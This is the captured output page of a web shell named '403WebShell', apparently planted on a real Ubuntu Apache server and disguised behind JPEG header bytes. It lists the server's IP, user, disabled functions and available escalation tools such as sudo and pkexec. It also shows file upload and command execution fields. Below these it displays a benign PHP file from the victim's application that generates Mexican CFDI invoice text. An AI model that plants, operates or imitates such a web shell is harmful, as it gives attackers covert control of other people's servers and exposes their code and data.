����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.218.213.153
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/goldencar/sae/application/salesFactura_M/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/goldencar/sae/application/salesFactura_M/heredoc_txt.php
<?php
function generateTxt($data, $uuid)
{
    list($dia,$mes,$año)=explode('-',date('d-m-Y'));
    $mes=$mes+12;
    $numeroConceptos = count($data['conceptos']);
    $numeroImpuestos = count($data['impuestos']['translados']);
    $cadenaConcepto='';
    $cadenaImpuesto='';
    $i=0;
    foreach ($data['conceptos'] as $key=>$concepto) {
        $eol='';
        if((!$key==$numeroConceptos-1)&&$numeroConceptos>1){
           // $eol=PHP_EOL;
        }
		

		if($i<=$numeroConceptos-2){
            $eol = PHP_EOL;
        }else{
			//echo "fin de linea";
			$eol='';
		}
		
        $cadenaConcepto.="CONCEPTO|{$concepto['ClaveProdServ']}|{$concepto['ID']}|{$concepto['cantidad']}|{$concepto['ClaveUnidad']}|{$concepto['unidad']}|{$concepto['descripcion']}|{$concepto['valorunitario']}|{$concepto['importe']}||02|".PHP_EOL;
        $cadenaConcepto.="IMPUESTOSCONCEPTO|1|0|".PHP_EOL;
        $impuestos=$concepto['Impuestos']['Traslados'][0];
        $cadenaConcepto.="TRASLADOCONCEPTO|{$impuestos['Base']}|{$impuestos['Impuesto']}|{$impuestos['TipoFactor']}|{$impuestos['TasaOCuota']}|{$impuestos['Importe']}|".PHP_EOL;
        $cadenaConcepto.="ACUENTATERCEROS|||||".PHP_EOL;
        $cadenaConcepto.="INFORMACIONADUANERA|0|".PHP_EOL;
        $cadenaConcepto.="CUENTAPREDIAL|0|".$eol."";
		 ++$i;
    }
	$y=1;
    foreach($data['impuestos']['translados'] as $key=>$impuesto){
        $eol='';
        if($y<=$numeroImpuestos-1){
            $eol = PHP_EOL;
        }else{
			//echo "fin de linea";
			$eol='';
		}
		
		/*
		if( isset($data['impuestos']['translados'][1]) ){
			echo $data['impuestos']['translados'][1]['Base'];
		}
		*/
		
		$cadenaImpuesto.="TRASLADO|{$impuesto['Base']}|{$impuesto['impuesto']}|{$impuesto['TipoFactor']}|{$impuesto['tasa']}|{$impuesto['importe']}|".$eol;
		++$y;
	}
    
    $content= <<<EOT
COMPROBANTE|4.0|{$data['factura']['serie']}|{$data['factura']['folio']}|{$data['factura']['fecha_expedicion']}|{$data['factura']['forma_pago']}|00001000000510734282|N/A|{$data['factura']['subtotal']}||{$data['factura']['moneda']}|{$data['factura']['tipocambio']}|{$data['factura']['total']}|{$data['factura']['tipocomprobante']}|01|{$data['factura']['metodo_pago']}|{$data['factura']['LugarExpedicion']}||
INFORMACIONGLOBAL||||
CFDIRELACIONADOS|0||
EMISOR|{$data['emisor']['rfc']}|{$data['emisor']['nombre']}|{$data['emisor']['RegimenFiscal']}||
RECEPTOR|{$data['receptor']['rfc']}|{$data['receptor']['nombre']}|{$data['receptor']['DomicilioFiscalReceptor']}|||{$data['receptor']['RegimenFiscalReceptor']}|{$data['receptor']['UsoCFDI']}|
CONCEPTOS|$numeroConceptos|
$cadenaConcepto
IMPUESTOS|$numeroImpuestos|0|{$data['impuestos']['TotalImpuestosTrasladados']}||
$cadenaImpuesto
CORREO|0|
CAMPOS_EXTRA|1|
CAMPOS_EXTRA|Comentarios|{$data['factura']['nota']}|
EOT;
   file_put_contents($uuid. ".txt", $content, FILE_APPEND);
    return true;
}

Youez - 2016 - github.com/yon3zu
LinuXploit